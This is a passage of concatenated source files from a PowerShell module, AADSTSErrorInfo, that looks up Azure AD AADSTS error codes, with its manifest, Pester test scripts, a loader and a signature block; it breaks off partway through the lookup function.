# ZXJBdXRfMjAxMC0wNi0yMy5jcmwwWgYIKwYBBQUHAQEETjBMMEoGCCsGAQUFBzAC
# hj5odHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL2NlcnRzL01pY1Jvb0NlckF1
# dF8yMDEwLTA2LTIzLmNydDCBoAYDVR0gAQH/BIGVMIGSMIGPBgkrBgEEAYI3LgMw
# gYEwPQYIKwYBBQUHAgEWMWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9QS0kvZG9j
# cy9DUFMvZGVmYXVsdC5odG0wQAYIKwYBBQUHAgIwNB4yIB0ATABlAGcAYQBsAF8A
# UABvAGwAaQBjAHkAXwBTAHQAYQB0AGUAbQBlAG4AdAAuIB0wDQYJKoZIhvcNAQEL
# BQADggIBAAfmiFEN4sbgmD+BcQM9naOhIW+z66bM9TG+zwXiqf76V20ZMLPCxWbJ
# at/15/B4vceoniXj+bzta1RXCCtRgkQS+7lTjMz0YBKKdsxAQEGb3FwX/1z5Xhc1
# mCRWS3TvQhDIr79/xn/yN31aPxzymXlKkVIArzgPF/UveYFl2am1a+THzvbKegBv
# SzBEJCI8z+0DpZaPWSm8tv0E4XCfMkon/VWvL/625Y4zu2JfmttXQOnxzplmkIz/
# amJ/3cVKC5Em4jnsGUpxY517IW3DnKOiPPp/fZZqkHimbdLhnPkd/DjYlPTGpQqW
# hqS9nhquBEKDuLWAmyI4ILUl5WTs9/S/fmNZJQ96LjlXdqJxqgaKD4kWumGnEcua
# 2A5HmoDF0M2n0O99g/DhO3EJ3110mCIIYdqwUB5vvfHhAN/nMQekkzr3ZUd46Pio
# SKv33nJ+YWtvd6mBy6cJrDm77MbL2IK0cs0d9LiFAR6A+xuJKlQ5slvayA1VmXqH
# czsI5pgt6o3gMy4SKfXAL1QnIffIrE7aKLixqduWsqdCosnPGUFN4Ib5KpqjEWYw
# 07t0MkvfY3v1mYovG8chr1m1rtxEPJdQcdeh0sVV42neV8HR3jDA/czmTfsNv11P
# 6Z0eGTgvvM9YBS7vDaBQNdrvCScc1bN+NR4Iuto229Nfj950iEkSMIIE2TCCA8Gg
# AwIBAgITMwAAAK4O1k6WidsA9QAAAAAArjANBgkqhkiG9w0BAQsFADB8MQswCQYD
# VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe
# MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQDEx1NaWNyb3Nv
# ZnQgVGltZS1TdGFtcCBQQ0EgMjAxMDAeFw0xNjA5MDcxNzU2NTVaFw0xODA5MDcx
# NzU2NTVaMIGyMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4G
# A1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMQww
# CgYDVQQLEwNBT0MxJzAlBgNVBAsTHm5DaXBoZXIgRFNFIEVTTjpEMjM2LTM3REEt
# OTc2MTElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2VydmljZTCCASIw
# DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN6SL8OklXL1Pg1mZMP65ugiD3SM
# TcGex7ZUuPGPTn0f+0YwvnzLe57bxGdYki/6VIAGn6M+nxch/an/8MphvSj9BI4n
# yQZSgVh6w1M+2rJ/+qiEtbWtwuKOIWgwsAEf8YOcNuBFkfFUXEdQb4o3B990LQFg
# LdV+rf7a447xzNGWPXSBEdTYEryahLPndWjZnAXdMxnJWC8C+WDmxqs2BHABjBvB
# ZbnASql44MVfVUD+cB4uSOKsKaDzvkzVeITI+2tcMAUueDn/LkyUBxQxgnp0e5IE
# OosteKmONhqRCikHcfX72zyLIOgEzTsmo/27nlU/lraf8hkU03Akd4JNK8sCAwEA
# AaOCARswggEXMB0GA1UdDgQWBBR+j+U0NESL8nlAuMag0ZxDHiElsTAfBgNVHSME
# GDAWgBTVYzpcijGQ80N7fEYbxTNoWoVtVTBWBgNVHR8ETzBNMEugSaBHhkVodHRw
# Oi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL2NybC9wcm9kdWN0cy9NaWNUaW1TdGFQ
# Q0FfMjAxMC0wNy0wMS5jcmwwWgYIKwYBBQUHAQEETjBMMEoGCCsGAQUFBzAChj5o
# dHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL2NlcnRzL01pY1RpbVN0YVBDQV8y
# MDEwLTA3LTAxLmNydDAMBgNVHRMBAf8EAjAAMBMGA1UdJQQMMAoGCCsGAQUFBwMI
# MA0GCSqGSIb3DQEBCwUAA4IBAQA9WU148PRcNAjRtUFgA1MM+YymTeUiHqA8iKWD
# SEpClk0wAMtuaP6Rq/QZlzG1afCsGhH5+kGy5qjBaDDETEIcGjqaLHtEt4m83I1i
# UKTYlBP8ZrzRJFXM4Avk3GWzU+q8NuAWCENxFOalky8AN+rB27lHoU3IiB5xg2jJ
# vsDgCoIt9XVbHc+s/Jpdtq2ySTmZPw2pYtguyEHO3YJrRuEkll/qpDCDqvaDPWkb
# Xm57qcOr+aNilOYIOFjPjpvyvGsifSxDGcVOa2e2/PZnWMIaz32fWuvZkWsZc4lL
# gGGfW3IoQXAYmOt9DgZvanID1opHBTIr0EcspYLlksPSEBogoYIDczCCAlsCAQEw
# geKhgbikgbUwgbIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw
# DgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24x
# DDAKBgNVBAsTA0FPQzEnMCUGA1UECxMebkNpcGhlciBEU0UgRVNOOkQyMzYtMzdE
# QS05NzYxMSUwIwYDVQQDExxNaWNyb3NvZnQgVGltZS1TdGFtcCBTZXJ2aWNloiUK
# AQEwCQYFKw4DAhoFAAMVAMfBvTB7pRieZF5ndDb6u+OZvGj7oIHBMIG+pIG7MIG4
# MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVk
# bW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMQwwCgYDVQQLEwNB
# T0MxJzAlBgNVBAsTHm5DaXBoZXIgTlRTIEVTTjoyNjY1LTRDM0YtQzVERTErMCkG
# A1UEAxMiTWljcm9zb2Z0IFRpbWUgU291cmNlIE1hc3RlciBDbG9jazANBgkqhkiG
# 9w0BAQUFAAIFAN6StFMwIhgPMjAxODA1MDEwOTM5MzFaGA8yMDE4MDUwMjA5Mzkz
# MVowczA5BgorBgEEAYRZCgQBMSswKTAKAgUA3pK0UwIBADAGAgEAAgECMAcCAQAC
# AhmsMAoCBQDelAXTAgEAMDYGCisGAQQBhFkKBAIxKDAmMAwGCisGAQQBhFkKAwGg
# CjAIAgEAAgMW42ChCjAIAgEAAgMehIAwDQYJKoZIhvcNAQEFBQADggEBAHOORIWH
# DOiMjTbUde+sFSnRU/KrCFkGw4Ffgb3nV4j2y82GaFTIx6RXlxRHpJ+dhucy8xMX
# ZjcUFsjZO7anZPimC/w6yyG7Vs3herWORoioGkWZ7893FIin2Blqcz+QEk1y+B/x
# 0f3EVlJjcmCX748cvE+jatuo0NE5omt2swoL0m3WE4TYmb4zNkwG5IzobcRxGx4p
# YRKDy7suklT8c9s9ntA4j2iN5HkN6BAaZPIqtTFZIL7LrJYWRYU9LXS9+h23rRY4
# WUtdcFqmyU3qjBTIZn5RB+W9XN5w1IT5gJL1F5Uyl+BL2Dcec1Y3WPZxOFwyIWRp
# IdDbdoZSmx9x4ckxggL1MIIC8QIBATCBkzB8MQswCQYDVQQGEwJVUzETMBEGA1UE
# CBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9z
# b2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQgVGltZS1TdGFtcCBQ
# Q0EgMjAxMAITMwAAAK4O1k6WidsA9QAAAAAArjANBglghkgBZQMEAgEFAKCCATIw
# GgYJKoZIhvcNAQkDMQ0GCyqGSIb3DQEJEAEEMC8GCSqGSIb3DQEJBDEiBCAES49a
# Enzk601xLFIe7geWPck+CxzrOL7sDiOLe8eWkTCB4gYLKoZIhvcNAQkQAgwxgdIw
# gc8wgcwwgbEEFMfBvTB7pRieZF5ndDb6u+OZvGj7MIGYMIGApH4wfDELMAkGA1UE
# BhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAc
# BgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0
# IFRpbWUtU3RhbXAgUENBIDIwMTACEzMAAACuDtZOlonbAPUAAAAAAK4wFgQUgsPm
# 1FDsR7Deq2aybpKrlNFIXqgwDQYJKoZIhvcNAQELBQAEggEAoAcHp4iF21g+fTu0
# L9H/kB1ZljWQ+s8B3LNDGDeCsgG3W5JoyG9Wdai8Jrj/fA9WSWuR25e7zL4lqGT0
# AED/PSWhEdclPMdfu3Om7sqzpSFWq9SompGMZrPDRX/YOS34BujvfmV+WRp30lLl
# RLLZ0tEAdDfBchuOBHK89GSNcwC0AyZjTxOaYWECodK5Y8R4uwkr5zLmhOV2tQRM
# kgln7mTJRB/yaB2NSQBwm0kSMGJIln5JVpPv6tLHmjA4suw3mznqwFvDtoK+0GcW
# ZPCP+s26oamPskCysuo/LO/w9UqF5kpsJvvdJjKNdf2MXfbj2+a8WPY6hXctzUn5
# tmjjbA==
# SIG # End signature block
|
preimport.ps1 | AADSTSErrorInfo-0.0.3 | # Place all code that should be run before functions are imported here |
pester.ps1 | AADSTSErrorInfo-0.0.3 | param (
$TestGeneral = $true,
$TestFunctions = $true,
[ValidateSet('None', 'Normal', 'Detailed', 'Diagnostic')]
[Alias('Show')]
$Output = "None",
$Include = "*",
$Exclude = ""
)
Write-PSFMessage -Level Important -Message "Starting Tests"
Write-PSFMessage -Level Important -Message "Importing Module"
$global:testroot = $PSScriptRoot
$global:__pester_data = @{ }
Remove-Module AADSTSErrorInfo -ErrorAction Ignore
Import-Module "$PSScriptRoot\..\AADSTSErrorInfo.psd1"
Import-Module "$PSScriptRoot\..\AADSTSErrorInfo.psm1" -Force
# Need to import explicitly so we can use the configuration class
Import-Module Pester
$totalFailed = 0
$totalRun = 0
$testresults = @()
$config = [PesterConfiguration]::Default
#region Run General Tests
if ($TestGeneral)
{
Write-PSFMessage -Level Important -Message "Modules imported, proceeding with general tests"
foreach ($file in (Get-ChildItem "$PSScriptRoot\general" | Where-Object Name -like "*.Tests.ps1"))
{
if ($file.Name -notlike $Include) { continue }
if ($file.Name -like $Exclude) { continue }
Write-PSFMessage -Level Significant -Message " Executing <c='em'>$($file.Name)</c>"
$config.TestResult.OutputPath = Join-Path "$PSScriptRoot\..\..\TestResults" "TEST-$($file.BaseName).xml"
$config.Run.Path = $file.FullName
$config.Run.PassThru = $true
$config.Output.Verbosity = $Output
$results = Invoke-Pester -Configuration $config
foreach ($result in $results)
{
$totalRun += $result.TotalCount
$totalFailed += $result.FailedCount
$result.Tests | Where-Object Result -ne 'Passed' | ForEach-Object {
$testresults += [pscustomobject]@{
Block = $_.Block
Name = "It $($_.Name)"
Result = $_.Result
Message = $_.ErrorRecord.DisplayErrorMessage
}
}
}
}
}
#endregion Run General Tests
$global:__pester_data.ScriptAnalyzer | Out-Host
#region Test Commands
if ($TestFunctions)
{
Write-PSFMessage -Level Important -Message "Proceeding with individual tests"
foreach ($file in (Get-ChildItem "$PSScriptRoot\functions" -Recurse -File | Where-Object Name -like "*Tests.ps1"))
{
if ($file.Name -notlike $Include) { continue }
if ($file.Name -like $Exclude) { continue }
Write-PSFMessage -Level Significant -Message " Executing $($file.Name)"
$config.TestResult.OutputPath = Join-Path "$PSScriptRoot\..\..\TestResults" "TEST-$($file.BaseName).xml"
$config.Run.Path = $file.FullName
$config.Run.PassThru = $true
$config.Output.Verbosity = $Output
$results = Invoke-Pester -Configuration $config
foreach ($result in $results)
{
$totalRun += $result.TotalCount
$totalFailed += $result.FailedCount
$result.Tests | Where-Object Result -ne 'Passed' | ForEach-Object {
$testresults += [pscustomobject]@{
Block = $_.Block
Name = "It $($_.Name)"
Result = $_.Result
Message = $_.ErrorRecord.DisplayErrorMessage
}
}
}
}
}
#endregion Test Commands
$testresults | Sort-Object Describe, Context, Name, Result, Message | Format-List
if ($totalFailed -eq 0) { Write-PSFMessage -Level Critical -Message "All <c='em'>$totalRun</c> tests executed without a single failure!" }
else { Write-PSFMessage -Level Critical -Message "<c='em'>$totalFailed tests</c> out of <c='sub'>$totalRun</c> tests failed!" }
if ($totalFailed -gt 0)
{
throw "$totalFailed / $totalRun tests failed!"
} |
Manifest.Tests.ps1 | AADSTSErrorInfo-0.0.3 | Describe "Validating the module manifest" {
$moduleRoot = (Resolve-Path "$global:testroot\..").Path
$manifest = ((Get-Content "$moduleRoot\AADSTSErrorInfo.psd1") -join "`n") | Invoke-Expression
Context "Basic resources validation" {
$files = Get-ChildItem "$moduleRoot\functions" -Recurse -File | Where-Object Name -like "*.ps1"
It "Exports all functions in the public folder" -TestCases @{ files = $files; manifest = $manifest } {
$functions = (Compare-Object -ReferenceObject $files.BaseName -DifferenceObject $manifest.FunctionsToExport | Where-Object SideIndicator -Like '<=').InputObject
$functions | Should -BeNullOrEmpty
}
It "Exports no function that isn't also present in the public folder" -TestCases @{ files = $files; manifest = $manifest } {
$functions = (Compare-Object -ReferenceObject $files.BaseName -DifferenceObject $manifest.FunctionsToExport | Where-Object SideIndicator -Like '=>').InputObject
$functions | Should -BeNullOrEmpty
}
It "Exports none of its internal functions" -TestCases @{ moduleRoot = $moduleRoot; manifest = $manifest } {
$files = Get-ChildItem "$moduleRoot\internal\functions" -Recurse -File -Filter "*.ps1"
$files | Where-Object BaseName -In $manifest.FunctionsToExport | Should -BeNullOrEmpty
}
}
Context "Individual file validation" {
It "The root module file exists" -TestCases @{ moduleRoot = $moduleRoot; manifest = $manifest } {
Test-Path "$moduleRoot\$($manifest.RootModule)" | Should -Be $true
}
foreach ($format in $manifest.FormatsToProcess)
{
It "The file $format should exist" -TestCases @{ moduleRoot = $moduleRoot; format = $format } {
Test-Path "$moduleRoot\$format" | Should -Be $true
}
}
foreach ($type in $manifest.TypesToProcess)
{
It "The file $type should exist" -TestCases @{ moduleRoot = $moduleRoot; type = $type } {
Test-Path "$moduleRoot\$type" | Should -Be $true
}
}
foreach ($assembly in $manifest.RequiredAssemblies)
{
if ($assembly -like "*.dll") {
It "The file $assembly should exist" -TestCases @{ moduleRoot = $moduleRoot; assembly = $assembly } {
Test-Path "$moduleRoot\$assembly" | Should -Be $true
}
}
else {
It "The file $assembly should load from the GAC" -TestCases @{ moduleRoot = $moduleRoot; assembly = $assembly } {
{ Add-Type -AssemblyName $assembly } | Should -Not -Throw
}
}
}
foreach ($tag in $manifest.PrivateData.PSData.Tags)
{
It "Tags should have no spaces in name" -TestCases @{ tag = $tag } {
$tag -match " " | Should -Be $false
}
}
}
} |
Help.Tests.ps1 | AADSTSErrorInfo-0.0.3 | <#
.NOTES
The original test this is based upon was written by June Blender.
After several rounds of modifications it stands now as it is, but the honor remains hers.
Thank you June, for all you have done!
.DESCRIPTION
This test evaluates the help for all commands in a module.
.PARAMETER SkipTest
Disables this test.
.PARAMETER CommandPath
List of paths under which the script files are stored.
This test assumes that all functions have their own file that is named after themselves.
These paths are used to search for commands that should exist and be tested.
Will search recursively and accepts wildcards, make sure only functions are found
.PARAMETER ModuleName
Name of the module to be tested.
The module must already be imported
.PARAMETER ExceptionsFile
File in which exceptions and adjustments are configured.
In it there should be two arrays and a hashtable defined:
$global:FunctionHelpTestExceptions
$global:HelpTestEnumeratedArrays
$global:HelpTestSkipParameterType
These can be used to tweak the tests slightly in cases of need.
See the example file for explanations on each of these usage and effect.
#>
[CmdletBinding()]
Param (
[switch]
$SkipTest,
[string[]]
$CommandPath = @("$global:testroot\..\functions", "$global:testroot\..\internal\functions"),
[string]
$ModuleName = "AADSTSErrorInfo",
[string]
$ExceptionsFile = "$global:testroot\general\Help.Exceptions.ps1"
)
if ($SkipTest) { return }
. $ExceptionsFile
$includedNames = (Get-ChildItem $CommandPath -Recurse -File | Where-Object Name -like "*.ps1").BaseName
$commandTypes = @('Cmdlet', 'Function')
if ($PSVersionTable.PSEdition -eq 'Desktop' ) { $commandTypes += 'Workflow' }
$commands = Get-Command -Module (Get-Module $ModuleName) -CommandType $commandTypes | Where-Object Name -In $includedNames
## When testing help, remember that help is cached at the beginning of each session.
## To test, restart session.
foreach ($command in $commands) {
$commandName = $command.Name
# Skip all functions that are on the exclusions list
if ($global:FunctionHelpTestExceptions -contains $commandName) { continue }
# The module-qualified command fails on Microsoft.PowerShell.Archive cmdlets
$Help = Get-Help $commandName -ErrorAction SilentlyContinue
Describe "Test help for $commandName" {
# If help is not found, synopsis in auto-generated help is the syntax diagram
It "should not be auto-generated" -TestCases @{ Help = $Help } {
$Help.Synopsis | Should -Not -BeLike '*`[`<CommonParameters`>`]*'
}
# Should be a description for every function
It "gets description for $commandName" -TestCases @{ Help = $Help } {
$Help.Description | Should -Not -BeNullOrEmpty
}
# Should be at least one example
It "gets example code from $commandName" -TestCases @{ Help = $Help } {
($Help.Examples.Example | Select-Object -First 1).Code | Should -Not -BeNullOrEmpty
}
# Should be at least one example description
It "gets example help from $commandName" -TestCases @{ Help = $Help } {
($Help.Examples.Example.Remarks | Select-Object -First 1).Text | Should -Not -BeNullOrEmpty
}
Context "Test parameter help for $commandName" {
$common = 'Debug', 'ErrorAction', 'ErrorVariable', 'InformationAction', 'InformationVariable', 'OutBuffer', 'OutVariable', 'PipelineVariable', 'Verbose', 'WarningAction', 'WarningVariable'
$parameters = $command.ParameterSets.Parameters | Sort-Object -Property Name -Unique | Where-Object Name -notin $common
$parameterNames = $parameters.Name
$HelpParameterNames = $Help.Parameters.Parameter.Name | Sort-Object -Unique
foreach ($parameter in $parameters) {
$parameterName = $parameter.Name
$parameterHelp = $Help.parameters.parameter | Where-Object Name -EQ $parameterName
# Should be a description for every parameter
It "gets help for parameter: $parameterName : in $commandName" -TestCases @{ parameterHelp = $parameterHelp } {
$parameterHelp.Description.Text | Should -Not -BeNullOrEmpty
}
$codeMandatory = $parameter.IsMandatory.toString()
It "help for $parameterName parameter in $commandName has correct Mandatory value" -TestCases @{ parameterHelp = $parameterHelp; codeMandatory = $codeMandatory } {
$parameterHelp.Required | Should -Be $codeMandatory
}
if ($HelpTestSkipParameterType[$commandName] -contains $parameterName) { continue }
$codeType = $parameter.ParameterType.Name
if ($parameter.ParameterType.IsEnum) {
# Enumerations often have issues with the typename not being reliably available
$names = $parameter.ParameterType::GetNames($parameter.ParameterType)
# Parameter type in Help should match code
It "help for $commandName has correct parameter type for $parameterName" -TestCases @{ parameterHelp = $parameterHelp; names = $names } {
$parameterHelp.parameterValueGroup.parameterValue | Should -be $names
}
}
elseif ($parameter.ParameterType.FullName -in $HelpTestEnumeratedArrays) {
# Enumerations often have issues with the typename not being reliably available
$names = [Enum]::GetNames($parameter.ParameterType.DeclaredMembers[0].ReturnType)
It "help for $commandName has correct parameter type for $parameterName" -TestCases @{ parameterHelp = $parameterHelp; names = $names } {
$parameterHelp.parameterValueGroup.parameterValue | Should -be $names
}
}
else {
# To avoid calling Trim method on a null object.
$helpType = if ($parameterHelp.parameterValue) { $parameterHelp.parameterValue.Trim() }
# Parameter type in Help should match code
It "help for $commandName has correct parameter type for $parameterName" -TestCases @{ helpType = $helpType; codeType = $codeType } {
$helpType | Should -be $codeType
}
}
}
foreach ($helpParm in $HelpParameterNames) {
# Shouldn't find extra parameters in help.
It "finds help parameter in code: $helpParm" -TestCases @{ helpParm = $helpParm; parameterNames = $parameterNames } {
$helpParm -in $parameterNames | Should -Be $true
}
}
}
}
} |
FileIntegrity.Exceptions.ps1 | AADSTSErrorInfo-0.0.3 | # List of forbidden commands
$global:BannedCommands = @(
'Write-Host'
'Write-Verbose'
'Write-Warning'
'Write-Error'
'Write-Output'
'Write-Information'
'Write-Debug'
# Use CIM instead where possible
'Get-WmiObject'
'Invoke-WmiMethod'
'Register-WmiEvent'
'Remove-WmiObject'
'Set-WmiInstance'
# Use Get-WinEvent instead
'Get-EventLog'
)
<#
Contains list of exceptions for banned cmdlets.
Insert the file names of files that may contain them.
Example:
"Write-Host" = @('Write-PSFHostColor.ps1','Write-PSFMessage.ps1')
#>
$global:MayContainCommand = @{
"Write-Host" = @()
"Write-Verbose" = @()
"Write-Warning" = @()
"Write-Error" = @()
"Write-Output" = @()
"Write-Information" = @()
"Write-Debug" = @()
} |
strings.psd1 | AADSTSErrorInfo-0.0.3 | # This is where the strings go, that are written by
# Write-PSFMessage, Stop-PSFFunction or the PSFramework validation scriptblocks
@{
'key' = 'Value'
} |
AADSTSErrorInfo.psm1 | AADSTSErrorInfo-0.0.3 | $script:ModuleRoot = $PSScriptRoot
#region Helper function
function Import-ModuleFile
{
<#
.SYNOPSIS
Loads files into the module on module import.
.DESCRIPTION
This helper function is used during module initialization.
It should always be dotsourced itself, in order to proper function.
This provides a central location to react to files being imported, if later desired
.PARAMETER Path
The path to the file to load
.EXAMPLE
PS C:\> . Import-ModuleFile -File $function.FullName
Imports the file stored in $function according to import policy
#>
[CmdletBinding()]
Param (
[string]
$Path
)
if ($script:dontDotSource) { $ExecutionContext.InvokeCommand.InvokeScript($false, ([scriptblock]::Create([io.file]::ReadAllText((Resolve-Path $Path).ProviderPath))), $null, $null) }
else { . (Resolve-Path $Path).ProviderPath }
}
#endregion Helper function
# Perform Actions before loading the rest of the content
. Import-ModuleFile -Path "$ModuleRoot\internal\scripts\preimport.ps1"
#region Load functions
foreach ($function in (Get-ChildItem "$ModuleRoot\internal\functions" -Recurse -File -Filter "*.ps1"))
{
. Import-ModuleFile -Path $function.FullName
}
foreach ($function in (Get-ChildItem "$ModuleRoot\functions" -Recurse -File -Filter "*.ps1"))
{
. Import-ModuleFile -Path $function.FullName
}
#endregion Load functions
# Perform Actions after loading the module contents
. Import-ModuleFile -Path "$ModuleRoot\internal\scripts\postimport.ps1" |
strings.Exceptions.ps1 | AADSTSErrorInfo-0.0.3 | $exceptions = @{ }
<#
A list of entries that MAY be in the language files, without causing the tests to fail.
This is commonly used in modules that generate localized messages straight from C#.
Specify the full key as it is written in the language files, do not prepend the modulename,
as you would have to in C# code.
Example:
$exceptions['LegalSurplus'] = @(
'Exception.Streams.FailedCreate'
'Exception.Streams.FailedDispose'
)
#>
$exceptions['LegalSurplus'] = @(
)
$exceptions |
AADSTSErrorInfo.psd1 | AADSTSErrorInfo-0.0.3 | @{
# Script module or binary module file associated with this manifest
RootModule = 'AADSTSErrorInfo.psm1'
# Version number of this module.
ModuleVersion = '0.0.3'
# ID used to uniquely identify this module
GUID = '279fd865-b77f-4d5b-9dc6-b9dbb37a1ce1'
# Author of this module
Author = 'Alex Verboon'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'Copyright (c) 2021 AlexVerboon'
# Description of the functionality provided by this module
Description = 'Azure AD Authentication and authorization error lookup tool'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '5.0'
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @(@{ ModuleName='PSFramework'; ModuleVersion='1.4.150' })
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @('bin\AZADError.dll')
# Type files (.ps1xml) to be loaded when importing this module
# Expensive for import time, no more than one should be used.
# TypesToProcess = @('xml\AZADError.Types.ps1xml')
# Format files (.ps1xml) to be loaded when importing this module.
# Expensive for import time, no more than one should be used.
# FormatsToProcess = @('xml\AZADError.Format.ps1xml')
# Functions to export from this module
FunctionsToExport = 'Get-AADSTSError'
# Cmdlets to export from this module
CmdletsToExport = ''
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all files packaged with this module
FileList = @()
# Private data to pass to the module specified in ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
#Support for PowerShellGet galleries.
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('AADSTS',"AzureAD","ErrorCode")
# A URL to the license for this module.
LicenseUri = 'https://github.com/alexverboon/AADSTSErrorInfo/blob/main/LICENSE'
# A URL to the main website for this project.
ProjectUri = 'https://github.com/alexverboon/AADSTSErrorInfo'
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
# ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
} |
postimport.ps1 | AADSTSErrorInfo-0.0.3 | # Place all code that should be run after functions are imported here |
PSScriptAnalyzer.Tests.ps1 | AADSTSErrorInfo-0.0.3 | [CmdletBinding()]
Param (
[switch]
$SkipTest,
[string[]]
$CommandPath = @("$global:testroot\..\functions", "$global:testroot\..\internal\functions")
)
if ($SkipTest) { return }
$global:__pester_data.ScriptAnalyzer = New-Object System.Collections.ArrayList
Describe 'Invoking PSScriptAnalyzer against commandbase' {
$commandFiles = Get-ChildItem -Path $CommandPath -Recurse | Where-Object Name -like "*.ps1"
$scriptAnalyzerRules = Get-ScriptAnalyzerRule
foreach ($file in $commandFiles)
{
Context "Analyzing $($file.BaseName)" {
$analysis = Invoke-ScriptAnalyzer -Path $file.FullName -ExcludeRule PSAvoidTrailingWhitespace, PSShouldProcess
forEach ($rule in $scriptAnalyzerRules)
{
It "Should pass $rule" -TestCases @{ analysis = $analysis; rule = $rule } {
If ($analysis.RuleName -contains $rule)
{
$analysis | Where-Object RuleName -EQ $rule -outvariable failures | ForEach-Object { $null = $global:__pester_data.ScriptAnalyzer.Add($_) }
1 | Should -Be 0
}
else
{
0 | Should -Be 0
}
}
}
}
}
} |
strings.Tests.ps1 | AADSTSErrorInfo-0.0.3 | <#
.DESCRIPTION
This test verifies, that all strings that have been used,
are listed in the language files and thus have a message being displayed.
It also checks, whether the language files have orphaned entries that need cleaning up.
#>
Describe "Testing localization strings" {
$moduleRoot = (Get-Module AADSTSErrorInfo).ModuleBase
$stringsResults = Export-PSMDString -ModuleRoot $moduleRoot
$exceptions = & "$global:testroot\general\strings.Exceptions.ps1"
foreach ($stringEntry in $stringsResults) {
if ($stringEntry.String -eq "key") { continue } # Skipping the template default entry
It "Should be used & have text: $($stringEntry.String)" -TestCases @{ stringEntry = $stringEntry } {
if ($exceptions.LegalSurplus -notcontains $stringEntry.String) {
$stringEntry.Surplus | Should -BeFalse
}
$stringEntry.Text | Should -Not -BeNullOrEmpty
}
}
} |
Get-AADSTSError.ps1 | AADSTSErrorInfo-0.0.3 | function Get-AADSTSError{
<#
.Synopsis
Get-AADSTSError
.DESCRIPTION
Get-AADSTSError performs a lookup for the specified AADSTS error code and returns error code description and remeidiation information
.PARAMETER ErrorCode
The AADSTS error code
A list of documented error codes can be found here: https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes#aadsts-error-codes
.EXAMPLE
Get-AADSTSError -ErrorCode AADSTS50076
ErrorCode : 50076
Description : Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor
authentication to access '{resource}'.
Remediation: User needs to perform multi-factor authentication. There could be multiple things requiring multi-factor, e.g. Conditional Access
policies, per-user enforcement, requested by client, among others.
#>
[CmdletBinding()]
Param
(
# The AADSTS Error code to lookup
[Parameter(Mandatory=$true)]
[string]$ErrorCode
)
Begin
{
$AllProtocols = [System.Net.SecurityProtocolType]'Tls,Tls11,Tls12,Tls13'
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
$Data = [System.Collections.ArrayList]::new()
$Data.PSObject.TypeNames.Insert(0,'AADSTS.ErrorInfo')
$uri = "https://login.microsoftonline.com/error"
$body = "code=$ErrorCode"
}
Process
{
Try{
$request = Invoke-RestMethod -Uri $uri -Body $body -Method Post
#credits for the web scraping hint - https://www.pipehow.tech/invoke-webscrape/
$CodePattern = '<table><tr><td>Error Code</td><td>(?<Code>.*)</td></tr><tr><td>Message'
# pattern when the result includes Remediation info
$MessagePattern1 = '<tr><td>Message</td><td>(?<Message1>.*)</td></tr><tr><td>Remediation'
# pattern when there is no remediation info
$MessagePattern2 = '<tr><td>Message</td><td>(?<Message2>.*)</td></tr></table></body>'
$RemediationPattern = '</td></tr><tr><td>Remediation</td><td>(?<Remediation>.*)</td></tr></table></body>'
$Patterns = "$CodePattern","$MessagePattern1","$MessagePattern2","$RemediationPattern"
$ResultData = forEach ($patt in $Patterns)
{
($request | Select-String $patt -AllMatches).Matches
}
$OutMessage1 = $null
$OutMessage2 = $null
$OutRemediation = $null
$OutCode = $null
foreach ($result in $ResultData)
{
If (($result.Groups.Where{$_.Name -like 'Code'}).Value -notlike ""){
$OutCode = ($result.Groups.Where{$_.Name -like 'Code'}).Value
}
If (($result.Groups.Where{$_.Name -like 'Remediation'}).Value -notlike ""){
$OutRemediation = ($result.Groups.Where{$_.Name -like 'Remediation'}).Value
}
If (($result.Groups.Where{$_.Name -like 'Message1'}).Value -notlike ""){
$OutMessage1 = ($result.Groups.Where{$_.Name -like 'Message1'}).Value
}
If (($result.Groups.Where{$_.Name -like 'Message2'}).Value -notlike ""){
$OutMessage2 = ($result.Groups.Where{$_.Name -like 'Message2'}).Value
}
}
If($OutCode -like "")
{
Write-Verbose "Error code: $ErrorCode not found"
$object = [PSCustomObject]@{
PSTypeName = "AADSTS.ErrorInfo"
ErrorCode = $ErrorCode
Description = "not found"
Remediation = ""
}
[void]$Data.Add($object)
}
Else
{
Write-Verbose "Error code: $ErrorCode found"
$object = [PSCustomObject]@{
